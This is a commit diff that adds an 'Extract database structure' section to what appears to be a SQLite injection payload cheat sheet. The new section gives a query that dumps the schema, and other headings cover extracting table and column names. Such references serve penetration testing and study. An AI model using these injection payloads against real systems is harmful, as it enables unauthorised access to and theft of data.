SQLite Injection add extract database structure

This commit is contained in:
Brian Stadnicki 2021-12-07 06:51:27 +00:00
parent ccc1186997
commit 03427da534

View File

@ -4,6 +4,7 @@
* [SQLite comments](#sqlite-comments) * [SQLite comments](#sqlite-comments)
* [SQLite version](#sqlite-version) * [SQLite version](#sqlite-version)
* [String based - Extract database structure](#string-based---extract-database-structure)
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name) * [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name) * [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
* [Boolean - Count number of tables](#boolean---count-number-of-tables) * [Boolean - Count number of tables](#boolean---count-number-of-tables)
@ -26,6 +27,12 @@
select sqlite_version(); select sqlite_version();
``` ```
## String based - Extract database structure
```sql
SELECT sql FROM sqlite_schema
```
## Integer/String based - Extract table name ## Integer/String based - Extract table name
```sql ```sql